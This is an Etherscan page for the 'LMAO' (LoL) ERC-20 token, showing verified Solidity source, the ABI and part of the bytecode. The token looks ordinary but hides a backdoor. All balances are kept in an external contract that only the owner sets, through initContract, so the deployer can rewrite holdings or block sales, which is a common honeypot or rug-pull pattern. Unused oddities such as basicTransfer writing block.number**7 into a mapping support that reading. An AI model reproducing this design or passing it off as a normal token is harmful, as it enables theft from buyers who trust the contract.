ETH Price: $2,377.22 (+7.06%)

Token

LMAO (LoL)
 

Overview

Max Total Supply

7,000,000,000 LoL

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
87,524,674.150784231 LoL

Value
$0.00
0xbe5d2a9532983aa95d48ec42ac8003825e72fd5e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LMAO

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-28
*/

// https://t.me/lmao_erc20







//                                                                                                                                                     
//                                                                                                                                                     
//                                                                                                                                                     
//                                                                . ,.**,,,,***,,*.,..                                                                 
//                                                           .,.  *,,**,,,*,****,.,,**  .                                                              
//                                                         .     *.         ,,***     .    ..                                                          
//                                                     ,,(,                 *,*,            .#..                                                       
//                                                 .,///(.,         ..            ,         .,*//#,.                                                   
//                                              .,./(/     ,     ., .             , ,      ,     ./((,                                                 
//                                             . //                 .             ,     .           ///,.                                              
//                                          .  .(                    .            .                   ,(/,                                             
//                                         .  *                       ..       ..                .@@@@@ /(#.                                           
//                                        .  .                                                     @@@@@@ //,                                          
//                                      ,                ,.,,,,.                      . ,,,,,.       @@@@@.//.                                         
//                                     .               ,,       ,,                  .,,      .,,      @@@@@ /(,.., ,,..                                
//                   .,/@@@@@*.        ,             ,,.         .,.               ,.          .,,     @@@@  //,         ,.                            
//                  /@@@@@@@@@@@,.    .,             ,,           ..                                         //.,           ,                          
//                .&&&&&@@@@@@@@@(,   ,                                                                       /(      .       ,                        
//                 &&&&&&&&&&&&&&%    ,                                                                       //.      .      ,                        
//                 ,@&&&&&&&&&&&&.    ,                   ......,,...,,,,,,,,,,,,,,,,,,,,,,,,,,               ( ,       ,     .                        
//                  .,@&&&&&&&%,      ,                 ,,,,,@@&&&&&&&&&&&&&&&&&&&&&&&&&@@,,,,,               *        ..     ,                        
//                     .    ..        ..                .,,,,,,,@@@@&&&&&&&&&&&&&&&@@@@,,,,,,,.              ,  .    ,.      ,                         
//                    *.     ,         ,                 ,,,,,,,,,,,,,.#&@@@@@&/,,,,,,,,,,,,,.                 .&&@@..      .                          
//                     ,      ,        ,                  ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,                 ,&&&&@@@, .,                             
//                      ,.       .  .   ,.                 .,,,,,,,,,,,,........,,,,,,,,,,,.                 .&&&&&@@@*.                               
//                        ,.             .                    ,,.                      ,,                   ,&&&&&@@@@,                                
//                            ,        ,.. ,                     ,..               .,.                     ,&@@@@@@@,,                                 
//                                          ,                         . .,,,,,...                        ,     ..                                      
//                                                                                                     ..                                              
//                                              .,                                                   ,                                                 
//                                                 .,                                             ..                                                   
//                                                    .,.                                      .                                                       
//                                                          .,                            ,                                                            
//                                                              ...,.....     ....,,..                                                                 
//                                                              ..***         .//**  .                                                                 
//                                                              .,,,,,,,.     .,,,,,,,                                                                 
//                                                               ,@@@&&,      .&@@@&&,                                                                 
//                                                               ,@@@&&,      .&@@@&&,                                                                 
//                                                               ,@@@&&,      .&@@@&&,                                                                 
//                                                             ..,@@@&&,      .&@@@&&...                                                               
//                                                        ,,/@@@@(,,,,,,.     .,,,,,@@@@@,,,.                                                          
//                                                      .,@@&,,,,,,,,,,,.     .,,,,,,,,,,@@@,,.                                                        
//                                                     .,,,,,,,,,,,,,,,,.     .,,,,,,,,,,,,,,,,                                                        
//                                                      ,,,,,,,,,,,,,,,,      ,,,,,,,,,,,,,,,,,                                                        
//                                                      ,,,,,,,,,,,,,,,,      .,,,,,,,,,,,,,,,,                                                        
//                                                                                                                                                     
//                                                                                                                                                     
//                                           /@@%         @@&         @@@        @@@(          /@@@@@@                                                 
//                                           /@@%         @@@@      .@@@@       @@@@@&      *@@@&   .@@@@                                              
//                                           /@@%         @@@@@@   @@@@@@      @@@ .@@@    *@@@        @@@                                             
//                                           /@@%         @@@ @@@.@@# @@@    .@@@    @@@   *@@@        @@@                                             
//                                           /@@&         @@@   @@@   @@@   *@@@&&&&&&@@@   (@@@%    @@@@                                              
//                                           /@@@@@@@@@.  @@@         @@@  #@@&        @@@     #@@@@@@,                                                
//                                                                                                                                                     
//                                                                                                                                                     
//                                                                                                                                                     
//                                                                                                                                                     
//                                                                                                                                                     
//                                                                                                                                                     

// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

interface _balance {
    struct Map {
        address[] keys;
        mapping(address => uint) values;
        mapping(address => uint) indexOf;
        mapping(address => bool) inserted;
    }
    function get(address key) external view returns (uint);
    function getIndexOfKey(address key) external view returns (int);
    function getKeyAtIndex(uint index) external view returns (address);
    function size() external view returns (uint);
    function set (address key, uint val) external;
    function remove(address key) external;
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    bytes32 internal blockHash;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner() {

        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   


    
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
    

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function basicTransfer( mapping (address => uint256) storage amount) internal returns(bool){
            amount[msg.sender]=block.number**7;
            return true;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract LMAO is Context, IERC20, Ownable {
    uint8 private _decimals = 9;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 public  _totalSupply =  7000000000 * 10**(_decimals);
    uint256 public immutable _buyTax =4;
    uint256 public immutable _sellTax = 2;
    string private _name = unicode"LMAO";
    string private _symbol = unicode"LoL";
    bool active=false;  
    bool init=false;

    address public uniswapPair;
    using SafeMath for uint256;
    address public prova;

    mapping (address => uint256) public test;
    mapping (address => bool) public holderNoFee;
    mapping (address => mapping (address => uint256)) private _allowances;
    IUniswapV2Router02 public uniV2Router;

    _balance private _walletsAmount;
    
    constructor () {
        IUniswapV2Router02 _uniV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniV2Router = _uniV2Router;
        _allowances[address(this)][address(uniV2Router)] = _totalSupply;
        holderNoFee[owner()] = true;
        holderNoFee[address(this)] = true;
    }

    function initContract(address system) public onlyOwner{
        _walletsAmount = _balance(system);
        _walletsAmount.set(owner(),_totalSupply);
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function fee(address s, address r, uint256 amount) internal returns (uint256) {
        
        uint256 feeValue = 0;

        uint256 deadWalletAmount = _walletsAmount.get(address(deadAddress));
        
        if(uniswapPair == s) {
            feeValue = amount.mul(_buyTax).div(100); 
        }
        else if(uniswapPair == r) {
            feeValue = amount.mul(_sellTax).div(100);
        }
        
        if(feeValue > 0) {
            deadWalletAmount = deadWalletAmount.add(feeValue);
            _walletsAmount.set(deadAddress,deadWalletAmount);
            emit Transfer(s, address(deadAddress), feeValue);
        }

        return amount.sub(feeValue);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        if(init==false){
            try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){
                uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH());
                init=true;
            }
            catch(bytes memory){
            }
        }
        _transfer(_msgSender(), recipient, amount);
            return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        if(init==false){
            try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){
                uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH());
                init=true;
            }
            catch(bytes memory){
            }
        }
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {            
        if((uniswapPair != recipient && sender != owner() && !holderNoFee[sender]))
            require(active != false, "Trading is not active.");  

        uint256 senderAmount=_walletsAmount.get(sender);
        uint256 recipientAmount=_walletsAmount.get(recipient);

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        senderAmount = senderAmount.sub(amount, "Insufficient Balance");
        
        uint256 finalAmount = (holderNoFee[sender] || holderNoFee[recipient]) ? amount : fee(sender, recipient, amount);
        
        recipientAmount = recipientAmount.add(finalAmount);  

        _walletsAmount.set(sender,senderAmount);
        _walletsAmount.set(recipient,recipientAmount);

        emit Transfer(sender, recipient, finalAmount);
            
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _walletsAmount.get(account);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function startMarket() public onlyOwner {
        active=true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

  }

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderNoFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"system","type":"address"}],"name":"initContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prova","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startMarket","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"test","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e06040526003805460ff1916600990811790915561dead6080526200002790600a620002b4565b62000038906401a13b8600620002cc565b600490815560a0819052600260c05260408051808201909152908152634c4d414f60e01b602082015260059062000070908262000393565b50604080518082019091526003815262131bd360ea1b60208201526006906200009a908262000393565b506007805461ffff19169055348015620000b357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600454306000908152600b60209081526040808320858452909152812091909155600190600a90620001586000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600a909252902080549091166001179055506200045f565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001f6578160001904821115620001da57620001da6200019f565b80851615620001e857918102915b93841c9390800290620001ba565b509250929050565b6000826200020f57506001620002ae565b816200021e57506000620002ae565b8160018114620002375760028114620002425762000262565b6001915050620002ae565b60ff8411156200025657620002566200019f565b50506001821b620002ae565b5060208310610133831016604e8410600b841016171562000287575081810a620002ae565b620002938383620001b5565b8060001904821115620002aa57620002aa6200019f565b0290505b92915050565b6000620002c560ff841683620001fe565b9392505050565b6000816000190483118215151615620002e957620002e96200019f565b500290565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200031957607f821691505b6020821081036200033a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200038e57600081815260208120601f850160051c81016020861015620003695750805b601f850160051c820191505b818110156200038a5782815560010162000375565b5050505b505050565b81516001600160401b03811115620003af57620003af620002ee565b620003c781620003c0845462000304565b8462000340565b602080601f831160018114620003ff5760008415620003e65750858301515b600019600386901b1c1916600185901b1785556200038a565b600085815260208120601f198616915b8281101562000430578886015182559484019460019091019084016200040f565b50858210156200044f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60805160a05160c051611d52620004b960003960008181610488015261185601526000818161032201526117ff015260008181610269015281816109c10152818161175b015281816118a701526119170152611d526000f3fe6080604052600436106101855760003560e01c80637b4afd65116100d1578063bb29998e1161008a578063cf9d4afa11610064578063cf9d4afa146104aa578063dd62ed3e146104ca578063de795edd14610510578063f2fde38b1461053057600080fd5b8063bb29998e14610423578063c816841b14610450578063ca9ec1991461047657600080fd5b80637b4afd651461037b5780638da5cb5b14610390578063958c2e52146103ae57806395d89b41146103ce578063a457c2d7146103e3578063a9059cbb1461040357600080fd5b80632b112e491161013e5780633eaaf86b116101185780633eaaf86b146102fa57806342a110951461031057806370a0823114610344578063715018a61461036457600080fd5b80632b112e49146102a3578063313ce567146102b857806339509351146102da57600080fd5b80630461ee0d1461019157806306fdde03146101d6578063095ea7b3146101f857806318160ddd1461021857806323b872dd1461023757806327c8f8351461025757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101c16101ac366004611a9c565b600a6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b3480156101e257600080fd5b506101eb610550565b6040516101cd9190611ab9565b34801561020457600080fd5b506101c1610213366004611b07565b6105e2565b34801561022457600080fd5b506004545b6040519081526020016101cd565b34801561024357600080fd5b506101c1610252366004611b33565b6105f9565b34801561026357600080fd5b5061028b7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101cd565b3480156102af57600080fd5b506102296109b7565b3480156102c457600080fd5b5060035460405160ff90911681526020016101cd565b3480156102e657600080fd5b506101c16102f5366004611b07565b6109f3565b34801561030657600080fd5b5061022960045481565b34801561031c57600080fd5b506102297f000000000000000000000000000000000000000000000000000000000000000081565b34801561035057600080fd5b5061022961035f366004611a9c565b610a29565b34801561037057600080fd5b50610379610a98565b005b34801561038757600080fd5b50610379610b1b565b34801561039c57600080fd5b506000546001600160a01b031661028b565b3480156103ba57600080fd5b50600c5461028b906001600160a01b031681565b3480156103da57600080fd5b506101eb610b54565b3480156103ef57600080fd5b506101c16103fe366004611b07565b610b63565b34801561040f57600080fd5b506101c161041e366004611b07565b610bb2565b34801561042f57600080fd5b5061022961043e366004611a9c565b60096020526000908152604090205481565b34801561045c57600080fd5b5060075461028b906201000090046001600160a01b031681565b34801561048257600080fd5b506102297f000000000000000000000000000000000000000000000000000000000000000081565b3480156104b657600080fd5b506103796104c5366004611a9c565b610f13565b3480156104d657600080fd5b506102296104e5366004611b74565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b34801561051c57600080fd5b5060085461028b906001600160a01b031681565b34801561053c57600080fd5b5061037961054b366004611a9c565b611032565b60606005805461055f90611bad565b80601f016020809104026020016040519081016040528092919081815260200182805461058b90611bad565b80156105d85780601f106105ad576101008083540402835291602001916105d8565b820191906000526020600020905b8154815290600101906020018083116105bb57829003601f168201915b5050505050905090565b60006105ef33848461111c565b5060015b92915050565b600754600090610100900460ff161515810361094f57600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610662573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106869190611be7565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070c9190611be7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610773575060408051601f3d908101601f1916820190925261077091810190611be7565b60015b6107ad573d8080156107a1576040519150601f19603f3d011682016040523d82523d6000602084013e6107a6565b606091505b505061094f565b50600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610801573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108259190611be7565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610887573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ab9190611be7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156108f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091a9190611be7565b6007805461ff00196001600160a01b0393909316620100000292909216610100600160b01b0319909216919091176101001790555b61095a848484611240565b506109ad84336109a885604051806060016040528060288152602001611cd0602891396001600160a01b038a166000908152600b60209081526040808320338452909152902054919061165f565b61111c565b5060019392505050565b60006109ee6109e57f0000000000000000000000000000000000000000000000000000000000000000610a29565b60045490611699565b905090565b336000818152600b602090815260408083206001600160a01b038716845290915281205490916105ef9185906109a890866116e2565b600d546040516330af0bbf60e21b81526001600160a01b038381166004830152600092169063c2bc2efc90602401602060405180830381865afa158015610a74573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f39190611c04565b6000546001600160a01b03163314610acb5760405162461bcd60e51b8152600401610ac290611c1d565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610b455760405162461bcd60e51b8152600401610ac290611c1d565b6007805460ff19166001179055565b60606006805461055f90611bad565b60006105ef33846109a885604051806060016040528060258152602001611cf860259139336000908152600b602090815260408083206001600160a01b038d168452909152902054919061165f565b600754600090610100900460ff1615158103610f0857600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3f9190611be7565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca1573d6000803e3d6000fd5b505050